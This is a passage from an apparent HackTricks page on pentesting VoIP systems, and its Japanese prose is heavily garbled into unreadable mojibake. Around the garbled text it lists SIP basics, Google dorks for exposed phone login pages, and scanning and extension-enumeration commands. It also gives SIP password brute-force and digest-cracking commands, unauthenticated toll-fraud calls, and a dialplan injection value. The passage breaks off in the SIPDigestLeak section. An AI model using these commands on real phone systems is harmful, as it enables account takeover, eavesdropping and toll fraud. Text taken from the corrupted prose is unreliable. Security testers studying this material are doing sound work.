.. | ||
basic-voip-protocols | ||
README.md |
Pentesting VoIP
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ð¬ Discord group or the telegram group or follow us on Twitter ðŠ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
ããªãã®ãŠã§ãã¢ããªããããã¯ãŒã¯ãã¯ã©ãŠãã«å¯Ÿããããã«ãŒã®èŠç¹ãåŸã
å®éã®ããžãã¹ã«åœ±é¿ãäžããé倧ã§æªçšå¯èœãªè匱æ§ãèŠã€ããŠå ±åããŸãã 20以äžã®ã«ã¹ã¿ã ããŒã«ã䜿çšããŠæ»æé¢ããããã³ã°ããç¹æš©ãææ Œãããã»ãã¥ãªãã£åé¡ãèŠã€ããèªååããããšã¯ã¹ããã€ãã䜿çšããŠéèŠãªèšŒæ ãåéããããªãã®åªåã説åŸåã®ããå ±åæžã«å€ããŸãã
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
VoIP åºæ¬æ å ±
VoIPã®ä»çµã¿ã«ã€ããŠåŠã¶ã«ã¯ã以äžã確èªããŠãã ããïŒ
{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}
åºæ¬ã¡ãã»ãŒãž
Request name Description RFC references
------------------------------------------------------------------------------------------------------
REGISTER Register a SIP user. RFC 3261
INVITE Initiate a dialog for establishing a call. RFC 3261
ACK Confirm that an entity has received. RFC 3261
BYE Signal termination of a dialog and end a call. RFC 3261
CANCEL Cancel any pending request. RFC 3261
UPDATE Modify the state of a session without changing the state of the dialog. RFC 3311
REFER Ask recipient to issue a request for the purpose of call transfer. RFC 3515
PRACK Provisional acknowledgement. RFC 3262
SUBSCRIBE Initiates a subscription for notification of events from a notifier. RFC 6665
NOTIFY Inform a subscriber of notifications of a new event. RFC 6665
PUBLISH Publish an event to a notification server. RFC 3903
MESSAGE Deliver a text message. Used in instant messaging applications. RFC 3428
INFO Send mid-session information that does not modify the session state. RFC 6086
OPTIONS Query the capabilities of an endpoint RFC 3261
ã¬ã¹ãã³ã¹ã³ãŒã
1xxâæ«å®ã¬ã¹ãã³ã¹
100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated
2xxâæåããã¬ã¹ãã³ã¹
200 OK
202 Accepted
204 No Notification
3xxâãªãã€ã¬ã¯ã·ã§ã³ã¬ã¹ãã³ã¹
300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service
4xxâã¯ã©ã€ã¢ã³ããšã©ãŒå¿ç
400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required
5xxâãµãŒããŒé害å¿ç
500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure
6xxâã°ããŒãã«å€±æå¿ç
600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected
VoIP Enumeration
Telephone Numbers
Red Teamãæåã«è¡ãã¹ãã¹ãããã®äžã€ã¯ãOSINTããŒã«ãGoogleæ€çŽ¢ããŸãã¯ãŠã§ãããŒãžã®ã¹ã¯ã¬ã€ãã³ã°ã䜿çšããŠãäŒç€Ÿã«é£çµ¡ããããã®å©çšå¯èœãªé»è©±çªå·ãæ€çŽ¢ããããšã§ãã
é»è©±çªå·ãããã£ããããªã³ã©ã€ã³ãµãŒãã¹ã䜿çšããŠãªãã¬ãŒã¿ãŒãç¹å®ã§ããŸãïŒ
- https://www.numberingplans.com/?page=analysis&sub=phonenr
- https://mobilenumbertracker.com/
- https://www.whitepages.com/
- https://www.twilio.com/lookup
ãªãã¬ãŒã¿ãŒãVoIPãµãŒãã¹ãæäŸããŠãããã©ãããç¥ãããšã§ãäŒç€ŸãVoIPã䜿çšããŠãããã©ãããç¹å®ã§ããŸã... ããã«ãäŒç€ŸãVoIPãµãŒãã¹ãå¥çŽããŠããªãããPSTNã«ãŒãã䜿çšããŠç¬èªã®VoIP PBXãåŸæ¥ã®é»è©±ãããã¯ãŒã¯ã«æ¥ç¶ããŠããå¯èœæ§ããããŸãã
é³æ¥œã®èªåå¿çãªã©ã¯ãéåžžVoIPã䜿çšãããŠããããšã瀺ããŠããŸãã
Google Dorks
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
OSINTæ å ±
VoIPãœãããŠã§ã¢ãç¹å®ããã®ã«åœ¹ç«ã€ä»ã®OSINTåæã¯ãRed Teamã«ãšã£ãŠæçã§ãã
ãããã¯ãŒã¯åæ
nmap
ã¯UDPãµãŒãã¹ã®ã¹ãã£ã³ãå¯èœã§ãããã¹ãã£ã³ãããUDPãµãŒãã¹ã®æ°ãå€ããããéåžžã«é ãããã®çš®ã®ãµãŒãã¹ã«å¯ŸããŠããŸãæ£ç¢ºã§ã¯ãªããããããŸããã
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
svmap
from SIPVicious (sudo apt install sipvicious
): æå®ããããããã¯ãŒã¯å ã®SIPãµãŒãã¹ãç¹å®ããŸããsvmap
ã¯ç°¡åã«ãããã¯ã§ããŸãããªããªããUser-Agentfriendly-scanner
ã䜿çšããããã§ããã/usr/share/sipvicious/sipvicious
ã®ã³ãŒããå€æŽããŠå€æŽããããšãã§ããŸãã
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
SIPPTS scan
from sippts: SIPPTSã¹ãã£ã³ã¯ãUDPãTCPããŸãã¯TLSäžã®SIPãµãŒãã¹çšã®éåžžã«é«éãªã¹ãã£ããŒã§ãããã«ãã¹ã¬ããã䜿çšãã倧èŠæš¡ãªãããã¯ãŒã¯ç¯å²ãã¹ãã£ã³ã§ããŸããããŒãç¯å²ãç°¡åã«æå®ããTCPãšUDPã®äž¡æ¹ãã¹ãã£ã³ããå¥ã®ã¡ãœããã䜿çšãïŒããã©ã«ãã§ã¯OPTIONSã䜿çšïŒãç°ãªãUser-Agentãæå®ããããšãã§ããŸãïŒãã®ä»ãå«ãïŒã
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
- metasploit:
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
Extra Network Enumeration
PBXã¯ãä»ã®ãããã¯ãŒã¯ãµãŒãã¹ãå ¬éããŠããå¯èœæ§ããããŸãïŒ
- 69/UDP (TFTP): ãã¡ãŒã ãŠã§ã¢ã®æŽæ°
- 80 (HTTP) / 443 (HTTPS): ãŠã§ãããããã€ã¹ã管çãããã
- 389 (LDAP): ãŠãŒã¶ãŒæ å ±ãä¿åããããã®ä»£æ¿æ段
- 3306 (MySQL): MySQLããŒã¿ããŒã¹
- 5038 (Manager): ä»ã®ãã©ãããã©ãŒã ããAsteriskã䜿çšããããšãèš±å¯
- 5222 (XMPP): Jabberã䜿çšããã¡ãã»ãŒãž
- 5432 (PostgreSQL): PostgreSQLããŒã¿ããŒã¹
- ãã®ä»...
Methods Enumeration
PBXã§äœ¿çšå¯èœãªã¡ãœãããèŠã€ããããšãã§ããŸã SIPPTS enumerate
ã䜿çšããŠãsipptsãã
sippts enumerate -i 10.10.0.10
ãµãŒããŒã®å¿çã®åæ
éä¿¡ããã¡ãã»ãŒãžã®çš®é¡ãããããŒã«å¿ããŠããµãŒããŒãè¿ãããããŒãåæããããšã¯éåžžã«éèŠã§ãã sippts ã® SIPPTS send
ã䜿çšãããšããã¹ãŠã®ããããŒãæäœããŠããŒãœãã©ã€ãºãããã¡ãã»ãŒãžãéä¿¡ããå¿çãåæã§ããŸãã
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
ãµãŒããŒããŠã§ããœã±ããã䜿çšããŠããå ŽåãããŒã¿ãååŸããããšãå¯èœã§ããsipptsã®SIPPTS wssend
ã䜿çšãããšãããŒãœãã©ã€ãºãããWSã¡ãã»ãŒãžãéä¿¡ã§ããŸãã
sippts wssend -i 10.10.0.10 -r 443 -path /ws
Extension Enumeration
PBXïŒãã©ã€ããŒããã©ã³ã亀æïŒã·ã¹ãã ã«ãããæ¡åŒµã¯ãçµç¹ãããžãã¹å ã®åã ã®é»è©±åç·ãããã€ã¹ããŸãã¯ãŠãŒã¶ãŒã«å²ãåœãŠããããŠããŒã¯ãªå éšèå¥åãæããŸããæ¡åŒµã«ãããçµç¹å ã§ã®é話ãå¹ççã«ã«ãŒãã£ã³ã°ããããšãå¯èœã«ãªããåãŠãŒã¶ãŒãããã€ã¹ã«å¯ŸããŠåå¥ã®å€éšé»è©±çªå·ãå¿ èŠãšããŸããã
svwar
from SIPVicious (sudo apt install sipvicious
):svwar
ã¯ç¡æã®SIP PBXæ¡åŒµã©ã€ã³ã¹ãã£ããŒã§ããæŠå¿µçã«ã¯ãæ¡åŒµã®ç¯å²ãæå®ãããæ¡åŒµã®ãªã¹ããæšæž¬ããããšã«ãã£ãŠãåŸæ¥ã®ãŠã©ãŒãã€ã©ãŒãšåæ§ã«æ©èœããŸãã
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
SIPPTS exten
from sippts: SIPPTS extenã¯SIPãµãŒããŒäžã®æ¡åŒµãç¹å®ããŸããSipextenã¯å€§èŠæš¡ãªãããã¯ãŒã¯ãšããŒãç¯å²ããã§ãã¯ã§ããŸãã
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
- metasploit: metasploitã䜿çšããŠæ¡åŒµæ©èœ/ãŠãŒã¶ãŒåãåæããããšãã§ããŸã:
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
enumiax
(apt install enumiax
): enumIAX ã¯ã€ã³ã¿ãŒã¢ã¹ã¿ãªã¹ã¯äº€æãããã³ã«ã® ãŠãŒã¶ãŒåãã«ãŒããã©ãŒã¹åæããŒã« ã§ããenumIAXã¯ã2ã€ã®ç°ãªãã¢ãŒãã§åäœããããšãã§ããŸããã·ãŒã±ã³ã·ã£ã«ãŠãŒã¶ãŒåæšæž¬ãŸãã¯èŸæžæ»æã
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
VoIPæ»æ
ãã¹ã¯ãŒããã«ãŒããã©ãŒã¹ - ãªã³ã©ã€ã³
PBXãšããã€ãã®æ¡åŒµå/ãŠãŒã¶ãŒåãçºèŠããå ŽåãRed Teamã¯äžè¬çãªãã¹ã¯ãŒãã®èŸæžã䜿çšããŠãæ¡åŒµåãžã®**REGISTER
ã¡ãœãããä»ããŠèªèšŒãè©Šã¿ã**ããšãã§ããŸãã
{% hint style="danger" %} ãŠãŒã¶ãŒåã¯æ¡åŒµåãšåãã§ããå¯èœæ§ããããŸããããã®æ £è¡ã¯PBXã·ã¹ãã ããã®èšå®ãããã³çµç¹ã®å¥œã¿ã«ãã£ãŠç°ãªãå ŽåããããŸã...
ãŠãŒã¶ãŒåãæ¡åŒµåãšç°ãªãå Žåã¯ããã«ãŒããã©ãŒã¹ããããã®ãŠãŒã¶ãŒåãç¹å®ããå¿ èŠããããŸãã {% endhint %}
svcrack
from SIPVicious (sudo apt install sipvicious
): SVCrackã¯ãPBXäžã®ç¹å®ã®ãŠãŒã¶ãŒå/æ¡åŒµåã®ãã¹ã¯ãŒããã¯ã©ããã³ã°ããããšãå¯èœã«ããŸãã
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
SIPPTS rcrack
from sippts: SIPPTS rcrackã¯ãSIPãµãŒãã¹çšã®ãªã¢ãŒããã¹ã¯ãŒãã¯ã©ãã«ãŒã§ããRcrackã¯ãç°ãªãIPããã³ããŒãç¯å²ã§è€æ°ã®ãŠãŒã¶ãŒã®ãã¹ã¯ãŒãããã¹ãã§ããŸãã
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
- Metasploit:
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb
VoIPã¹ãããã£ã³ã°
ãªãŒãã³Wifiãããã¯ãŒã¯å ã«VoIPæ©åšãèŠã€ããå Žåããã¹ãŠã®æ å ±ãã¹ãããã£ã³ã°ããããšãã§ããŸããããã«ãããéãããããã¯ãŒã¯ïŒEthernetçµç±ãŸãã¯ä¿è·ãããWifiã«æ¥ç¶ïŒå ã«ããå ŽåãPBXãšã²ãŒããŠã§ã€ã®éã§MitMæ»æïŒäŸãã°ãARPspoofingïŒãå®è¡ããŠæ å ±ãã¹ãããã£ã³ã°ããããšãã§ããŸãã
ãããã¯ãŒã¯æ å ±ã®äžã«ã¯ãæ©åšã管çããããã®ãŠã§ãèªèšŒæ å ±ããŠãŒã¶ãŒã®å ç·çªå·ããŠãŒã¶ãŒåãIPã¢ãã¬ã¹ãããã«ã¯ããã·ã¥åããããã¹ã¯ãŒããRTPãã±ãããå«ãŸããŠããããããåçããŠäŒè©±ãèãããšãã§ããŸãã
ãã®æ å ±ãååŸããããã«ãWiresharkãtcpdumpãªã©ã®ããŒã«ã䜿çšã§ããŸãããVoIPäŒè©±ãã¹ãããã£ã³ã°ããããã«ç¹å¥ã«äœæãããããŒã«ã¯ucsniffã§ãã
{% hint style="danger" %}
SIPéä¿¡ã«TLSã䜿çšãããŠããå ŽåãSIPéä¿¡ãã¯ãªã¢ã§èŠãããšã¯ã§ããŸããã
SRTPãZRTPã䜿çšãããŠããå Žåãåæ§ã§ãRTPãã±ããã¯ã¯ãªã¢ããã¹ãã§ã¯ãããŸããã
{% endhint %}
SIPèªèšŒæ å ±ïŒãã¹ã¯ãŒããã«ãŒããã©ãŒã¹ - ãªãã©ã€ã³ïŒ
SIP REGISTERéä¿¡ãããããç解ããããã®ãã®äŸã確èªããŠãã ãã èªèšŒæ å ±ãã©ã®ããã«éä¿¡ãããããåŠã¶ããã«ã
sipdump
&sipcrack
, sipcrackã®äžéšïŒapt-get install sipcrack
ïŒïŒãããã®ããŒã«ã¯ãSIPãããã³ã«å ã®ãã€ãžã§ã¹ãèªèšŒãpcapããæœåºãããã«ãŒããã©ãŒã¹ããããšãã§ããŸãã
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
SIPPTS dump
from sippts: SIPPTS dumpã¯ãpcapãã¡ã€ã«ãããã€ãžã§ã¹ãèªèšŒãæœåºã§ããŸãã
sippts dump -f capture.pcap -o data.txt
SIPPTS dcrack
from sippts: SIPPTS dcrackã¯ãSIPPTSãã³ãã§ååŸãããã€ãžã§ã¹ãèªèšŒãã¯ã©ããã³ã°ããããã®ããŒã«ã§ãã
sippts dcrack -f data.txt -w wordlist/rockyou.txt
SIPPTS tshark
from sippts: SIPPTS tsharkã¯PCAPãã¡ã€ã«ããSIPãããã³ã«ã®ããŒã¿ãæœåºããŸãã
sippts tshark -f capture.pcap [-filter auth]
DTMF ã³ãŒã
SIP èªèšŒæ
å ±ã ãã§ãªãããã€ã¹ã¡ãŒã«ã«ã¢ã¯ã»ã¹ããããã«äœ¿çšããã DTMF ã³ãŒãããããã¯ãŒã¯ãã©ãã£ãã¯å
ã§èŠã€ããããšãã§ããŸãã
ãããã®ã³ãŒã㯠INFO SIP ã¡ãã»ãŒãžãé³å£°ããŸã㯠RTP ãã±ããå
ã§éä¿¡ããããšãå¯èœã§ããã³ãŒãã RTP ãã±ããå
ã«ããå Žåããã®äŒè©±ã®éšåãåãåããããŒã« multimo ã䜿çšããŠæœåºããããšãã§ããŸãïŒ
multimon -a DTMF -t wac pin.wav
ç¡æé話 / Asteriskæ¥ç¶ã®èª€èšå®
Asteriskã§ã¯ãç¹å®ã®IPã¢ãã¬ã¹ããã®æ¥ç¶ãèš±å¯ããããšããä»»æã®IPã¢ãã¬ã¹ããã®æ¥ç¶ãèš±å¯ããããšãå¯èœã§ãïŒ
host=10.10.10.10
host=dynamic
IPã¢ãã¬ã¹ãæå®ãããŠããå Žåããã¹ãã¯REGISTERãªã¯ãšã¹ããå®æçã«éä¿¡ããå¿ èŠããªããªããŸãïŒREGISTERãã±ããã«ã¯çåæéãå«ãŸããŠãããéåžžã¯30åã§ãä»ã®ã·ããªãªã§ã¯é»è©±ã30åããšã«REGISTERããå¿ èŠããããŸãïŒããã ããVoIPãµãŒããŒããã®æ¥ç¶ãåãå ¥ããããã«ãªãŒãã³ããŒããå¿ èŠã§ãã
ãŠãŒã¶ãŒãå®çŸ©ããã«ã¯ã次ã®ããã«å®çŸ©ã§ããŸãïŒ
type=user
: ãŠãŒã¶ãŒã¯ãŠãŒã¶ãŒãšããŠã®ã¿é話ãåããããšãã§ããŸããtype=friend
: ãã¢ãšããŠé話ãè¡ãããŠãŒã¶ãŒãšããŠåããããšãå¯èœã§ãïŒæ¡åŒµæ©èœãšå ±ã«äœ¿çšãããŸãïŒtype=peer
: ãã¢ãšããŠé話ãéåä¿¡ããããšãå¯èœã§ãïŒSIPãã©ã³ã¯ïŒ
äžæ£ãªå€æ°ã䜿çšããŠä¿¡é Œã確ç«ããããšãå¯èœã§ãïŒ
insecure=port
: IPã«ãã£ãŠæ€èšŒããããã¢æ¥ç¶ãèš±å¯ããŸããinsecure=invite
: INVITEã¡ãã»ãŒãžã®èªèšŒãå¿ èŠãšããŸããinsecure=port,invite
: äž¡æ¹
{% hint style="warning" %}
type=friend
ã䜿çšããããšãhostå€æ°ã®å€ã¯äœ¿çšãããŸããããããã£ãŠã管çè
ããã®å€ã䜿çšããŠSIPãã©ã³ã¯ã誀èšå®ãããšã誰ã§ãæ¥ç¶ã§ããããã«ãªããŸãã
äŸãã°ããã®èšå®ã¯è匱ã§ãïŒ
host=10.10.10.10
insecure=port,invite
type=friend
{% endhint %}
ç¡æé話 / Asteriskã³ã³ããã¹ãã®èª€èšå®
Asteriskã«ãããŠãã³ã³ããã¹ãã¯ãã€ã€ã«ãã©ã³å ã®é¢é£ããæ¡åŒµæ©èœãã¢ã¯ã·ã§ã³ãããã³ã«ãŒã«ãã°ã«ãŒãåããååä»ãã³ã³ãããŸãã¯ã»ã¯ã·ã§ã³ã§ãããã€ã€ã«ãã©ã³ã¯Asteriskã·ã¹ãã ã®ã³ã¢ã³ã³ããŒãã³ãã§ãããçä¿¡ããã³çºä¿¡é話ãã©ã®ããã«åŠçãããã«ãŒãã£ã³ã°ãããããå®çŸ©ããŸããã³ã³ããã¹ãã¯ãã€ã€ã«ãã©ã³ãæŽçããã¢ã¯ã»ã¹å¶åŸ¡ã管çããã·ã¹ãã ã®ç°ãªãéšåéã®åé¢ãæäŸããããã«äœ¿çšãããŸãã
åã³ã³ããã¹ãã¯èšå®ãã¡ã€ã«ãéåžžã¯**extensions.conf
**ãã¡ã€ã«ã§å®çŸ©ãããŸããã³ã³ããã¹ãã¯è§æ¬åŒ§ã§ç€ºããããã®äžã«ã³ã³ããã¹ãåãå«ãŸããŸããäŸãã°ïŒ
csharpCopy code[my_context]
ã³ã³ããã¹ãå ã§ã¯ãæ¡åŒµæ©èœïŒãã€ã€ã«ãããçªå·ã®ãã¿ãŒã³ïŒãå®çŸ©ãããããäžé£ã®ã¢ã¯ã·ã§ã³ãŸãã¯ã¢ããªã±ãŒã·ã§ã³ã«é¢é£ä»ããŸãããããã®ã¢ã¯ã·ã§ã³ã¯ãé話ãã©ã®ããã«åŠçããããã決å®ããŸããäŸãã°ïŒ
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
ãã®äŸã¯ããmy_contextããšããã·ã³ãã«ãªã³ã³ããã¹ããšã100ããšããæ¡åŒµã瀺ããŠããŸãã誰ãã100ããã€ã€ã«ãããšãé話ãå¿çããããŠã§ã«ã«ã ã¡ãã»ãŒãžãåçããããã®åŸé話ãçµäºããŸãã
ããã¯ãä»ã®ä»»æã®çªå·ã«åŒã³åºãããšãèš±å¯ãã å¥ã®ã³ã³ããã¹ãã§ãïŒ
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
ãã管çè ãããã©ã«ãã³ã³ããã¹ãã次ã®ããã«å®çŸ©ããå Žå:
[default]
include => my_context
include => external
{% hint style="warning" %} 誰ã§ããµãŒããŒã䜿ã£ãŠä»ã®çªå·ã«é»è©±ããããããšãã§ããïŒãµãŒããŒã®ç®¡çè ãé話æéãæ¯æãããšã«ãªããŸãïŒã {% endhint %}
{% hint style="danger" %}
ããã«ãããã©ã«ãã§**sip.conf
ãã¡ã€ã«ã«ã¯allowguest=true
ãå«ãŸããŠãããããèªèšŒãªãã®ä»»æã®**æ»æè
ãä»ã®çªå·ã«é»è©±ããããããšãã§ããŸãã
{% endhint %}
SIPPTS invite
from sippts: SIPPTS inviteã¯ãPBXãµãŒããŒãèªèšŒãªãã§é話ãèš±å¯ããŠãããã©ããã確èªããŸããSIPãµãŒããŒã«äžæ£ãªèšå®ãããå Žåãå€éšçªå·ã«é»è©±ããããããšãã§ããŸãããŸããé話ãå¥ã®å€éšçªå·ã«è»¢éããããšãå¯èœã§ãã
äŸãã°ãAsteriskãµãŒããŒã«äžé©åãªã³ã³ããã¹ãèšå®ãããå ŽåãèªèšŒãªãã§INVITEãªã¯ãšã¹ããåãå ¥ããããšãã§ããŸãããã®å Žåãæ»æè ã¯ãŠãŒã¶ãŒåããã¹ã¯ãŒããç¥ããªããŠãé話ããããããšãã§ããŸãã
{% code overflow="wrap" %}
# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
{% endcode %}
ç¡æé話 / 誀èšå®ãããIVRS
IVRSã¯ã€ã³ã¿ã©ã¯ãã£ãé³å£°å¿çã·ã¹ãã ãæãããŠãŒã¶ãŒãé³å£°ãŸãã¯ããŒã³å ¥åãéããŠã³ã³ãã¥ãŒã¿åãããã·ã¹ãã ãšå¯Ÿè©±ããããšãå¯èœã«ããé»è©±æè¡ã§ããIVRSã¯ãæ å ±æäŸãé話ã®ã«ãŒãã£ã³ã°ããŠãŒã¶ãŒå ¥åã®ååŸãªã©ãããŸããŸãªæ©èœãæäŸããèªåé話åŠçã·ã¹ãã ãæ§ç¯ããããã«äœ¿çšãããŸãã
VoIPã·ã¹ãã ã«ãããIVRSã¯éåžžã以äžã§æ§æãããŠããŸãïŒ
- é³å£°ããã³ããïŒãŠãŒã¶ãŒãIVRã¡ãã¥ãŒãªãã·ã§ã³ãæ瀺ã«å°ãäºåé²é³ãããé³å£°ã¡ãã»ãŒãžã
- DTMFïŒãã¥ã¢ã«ããŒã³å€åšæ³¢æ°ïŒä¿¡å·ïŒé»è©±ã®ããŒãæŒãããšã§çæãããããŒã³å ¥åã§ãIVRã¡ãã¥ãŒãããã²ãŒãããå ¥åãæäŸããããã«äœ¿çšãããŸãã
- é話ã«ãŒãã£ã³ã°ïŒãŠãŒã¶ãŒå ¥åã«åºã¥ããŠãç¹å®ã®éšéããšãŒãžã§ã³ãããŸãã¯å ç·ãªã©ãé©åãªå®å ã«é話ãèªå°ããŸãã
- ãŠãŒã¶ãŒå ¥åã®ååŸïŒåŒã³åºãè ããã®æ å ±ãåéããŸããäŸãã°ãã¢ã«ãŠã³ãçªå·ãã±ãŒã¹IDããŸãã¯ãã®ä»ã®é¢é£ããŒã¿ãªã©ã§ãã
- å€éšã·ã¹ãã ãšã®çµ±åïŒIVRã·ã¹ãã ãããŒã¿ããŒã¹ãä»ã®ãœãããŠã§ã¢ã·ã¹ãã ã«æ¥ç¶ããæ å ±ã«ã¢ã¯ã»ã¹ãŸãã¯æŽæ°ããã¢ã¯ã·ã§ã³ãå®è¡ããããã€ãã³ããããªã¬ãŒãããããŸãã
Asterisk VoIPã·ã¹ãã ã§ã¯ããã€ã€ã«ãã©ã³ïŒ**extensions.conf
**ãã¡ã€ã«ïŒãšBackground()
ãPlayback()
ãRead()
ãªã©ã®ããŸããŸãªã¢ããªã±ãŒã·ã§ã³ã䜿çšããŠIVRãäœæã§ããŸãããããã®ã¢ããªã±ãŒã·ã§ã³ã¯ãé³å£°ããã³ãããåçãããŠãŒã¶ãŒå
¥åãååŸããé話ã®æµããå¶åŸ¡ããã®ã«åœ¹ç«ã¡ãŸãã
è匱ãªèšå®ã®äŸ
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
åã®äŸã§ã¯ããŠãŒã¶ãŒã«1ãæŒããŠéšéã«é»è©±ããããã«ã2ãæŒããŠå¥ã®éšéã«é»è©±ããããã«ããŸãã¯ç¥ã£ãŠããå Žåã¯å®å
šãªå
ç·çªå·ãå
¥åããããã«æ±ããããŸãã
è匱æ§ã¯ãæå®ãããå
ç·çªå·ã®é·ãããã§ãã¯ãããªããšããäºå®ã§ããããŠãŒã¶ãŒã¯5ç§ã®ã¿ã€ã ã¢ãŠããæã€å®å
šãªçªå·ãå
¥åã§ãããããåŒã³åºãããå¯èœæ§ããããŸãã
å ç·çªå·ã€ã³ãžã§ã¯ã·ã§ã³
次ã®ãããªå ç·çªå·ã䜿çšããŠ:
exten => _X.,1,Dial(SIP/${EXTEN})
Where ${EXTEN}
㯠åŒã³åºãããå
ç·çªå· ã§ãããext 101 ãå°å
¥ããããš ãããèµ·ãããŸã:
exten => 101,1,Dial(SIP/101)
ãããããã ${EXTEN}
ã æ°å以å€ã®ãã®ïŒå€ãAsteriskããŒãžã§ã³ã®ããã«ïŒãåãå
¥ããå Žåãæ»æè
㯠101&SIP123123123
ãå
¥åããŠé»è©±çªå·123123123ã«é»è©±ããããããšãã§ããŸãããããŠããããçµæã«ãªããŸãïŒ
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
ãããã£ãŠã101
ããã³123123123
ãžã®åŒã³åºããéä¿¡ãããæåã®ãã®ã ããæ¥ç¶ãããŸã... ããããæ»æè
ããããããã€ãã¹ããæ¡åŒµåã䜿çšããååšããªãå Žåãåžæããçªå·ã«ã®ã¿åŒã³åºãã泚å
¥ããããšãã§ããŸãã
SIPDigestLeak è匱æ§
SIP Digest Leakã¯ãå€ãã®SIPé»è©±ãããŒããŠã§ã¢ããã³ãœãããŠã§ã¢ã®IPé»è©±ãé»è©±ã¢ããã¿ïŒVoIPããã¢ããã°ïŒãå«ãè匱æ§ã§ãããã®è匱æ§ã¯ããã¹ã¯ãŒãããèšç®ãããDigestèªèšŒå¿çã®æŒæŽ©ãå¯èœã«ããŸãããªãã©ã€ã³ãã¹ã¯ãŒãæ»æãå¯èœã§ããããã£ã¬ã³ãžå¿çã«åºã¥ããŠã»ãšãã©ã®ãã¹ã¯ãŒããå埩ã§ããŸãã
**è匱æ§ã·ããªãªã¯ãã¡ããã**:
